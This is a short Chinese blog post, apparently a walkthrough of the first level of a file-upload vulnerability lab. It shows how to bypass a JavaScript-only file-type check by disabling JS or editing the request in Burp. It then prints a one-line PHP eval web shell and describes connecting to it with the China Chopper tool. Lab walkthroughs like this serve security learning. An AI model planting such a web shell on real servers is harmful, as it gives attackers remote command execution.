码迷,mamicode.com
首页 > Web开发 > 详细

文件上传——不为人知的木马上传大法

时间:2019-05-25 12:48:46      阅读:190      评论:0      收藏:0      [点我收藏+]

标签:nbsp   类型   src   bsp   ica   文件   抓包   code   修改   

文件上传第一式(禁JS)

(1)来到第一关,我们查看源代码:

技术图片

上图可以发现,上传的限制代码块写在js函数内,因此我们可以考虑将js的开关禁掉,直接上传木马的方式,其实,似乎也可以不禁js,直接burp抓包后修改图片类型,一样可以上传成功。

 

(2)上传一句话木马.php

<?php eval($_POST[‘cmd‘]);?>

技术图片

 

(3)使用菜刀对木马进行连接

技术图片

如下为菜刀连接效果图:

技术图片

 

文件上传——不为人知的木马上传大法

标签:nbsp   类型   src   bsp   ica   文件   抓包   code   修改   

原文地址:https://www.cnblogs.com/cute-puli/p/10921922.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!